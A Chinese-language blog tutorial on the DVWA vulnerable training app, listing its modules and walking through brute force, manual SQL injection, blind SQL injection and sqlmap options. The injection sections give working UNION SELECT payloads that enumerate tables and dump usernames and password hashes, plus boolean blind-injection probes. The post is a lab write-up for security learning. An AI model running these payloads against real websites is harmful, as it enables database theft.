美文网首页
Web安全-DVWA

Web安全-DVWA

作者: 刚刚8888 | 来源:发表于2020-08-18 15:57 被阅读0次

    DVWA(Damn Vulnerable Web Application) 是一个用来进行安全脆弱性鉴定的PHP/MYSQL Web应用。旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web 开发者更好的理解web应用安全防范。
    源码地址

    共有十个模块:

    • Brute Force (暴力破解)
    • Command Injection (命令行注入)
    • CSRF(跨站请求伪造)
    • File Inclusion (文件包含)
    • File Upload (文件上传)
    • Insecure CAPTCHA (不安全的验证码)
    • SQL Injection (SQL注入)
    • SQL Injection (Blind) (SQL盲注)
    • XSS (Reflected) (反射型跨站脚本)
    • XSS (Stored) (存储型跨站脚本)

    Brute Force (暴力破解)

    穷举法
    Burp Suite 抓包工具
    根据返回字节长度去区别是否成功

    预防方法: 参数验证、token 、错误次数

    SQL Injection (SQL注入)

    SQL 注入是攻击者通过注入恶意SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞常常会导致整个数据库被‘脱裤’。SQL注入是现在最常见的web漏洞之一。

    手工注入过程
    1.判断是否存在注入,注入是字符型还是数字型
    2.猜解SQL查询语句中的字段数 (一般用order by处理)
    3.确定显示的字段顺序
    4.获取当前数据库
    5.获取数据库中的表
    6.获取表中的字段名
    7.下载数据

    漏洞利用:
    1.判断是否存在注入,注入是字符型还是数字型
    字符型:输入 x' and 1=1 逻辑正确,返回结果。 x' and 1=2 逻辑错误,返回空。
    数字型:输入 x and 1=1 逻辑正确,返回结果。 x and 1=2 逻辑错误,返回空。
    2.猜解SQL查询语句中的字段数
    使用order by +数字,来判断查询出的字段数(这里也可以通过输入union select 1,2,3...来猜解字段数)
    3.确定显示的字段顺序
    输入1' union select 1,2 #, 确定前端显示字段位置
    4.获取当前数据库
    输入1' union select 1,database() #
    5.获取数据库中的表
    输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
    6.获取表中的字段名
    输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
    7.下载数据
    输入1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

    预防方法: 参数验证/过滤、PDO技术(划清代码与数据界限)

    SQL Injection (Blind) (SQL盲注)

    SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。
    手工盲注的过程,就像和机器人聊天,这个机器人知道的很多,但只会回答“是” 或“不是”,因此需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械询问,最终获得想要的数据。

    盲注分为基于布尔的盲注、基于时间的盲注、以及基于报错的盲注。

    步骤和一般注入相似:
    1.判断是否存在注入,注入是字符型还是数字型
    2.猜解当前数据库
    3.猜解数据库中的表
    4.猜解表中的字段名
    5.猜解数据

    核心解法:
    首先判断要猜解对象长度,然后根据ascii对照表,进行判断查找
    例如:猜解数据库名,输入1' and length(database())=4 #, 显示存在与否,判断数据库长度。 输入1' and ascii(substr(database(),1,1))>97 #,显示存在于否,判断出第一个字母(二分法查找)

    sqlmap 工具
    文档地址

    关键参数
    --batch 不需要询问用户,自动选择默认选项
    -u URL[要攻击的地址]
    --cookie 攻击需要登录后的地址,写到cookie
    --dbs 列出所有数据库
    --tables 某数据库所有表
    --columns 某表所有列
    -D 选择数据库
    -T 选择数据表
    -C 选择数据列

    相关文章

      网友评论

          本文标题:Web安全-DVWA

          本文链接:https://www.haomeiwen.com/subject/rmahjktx.html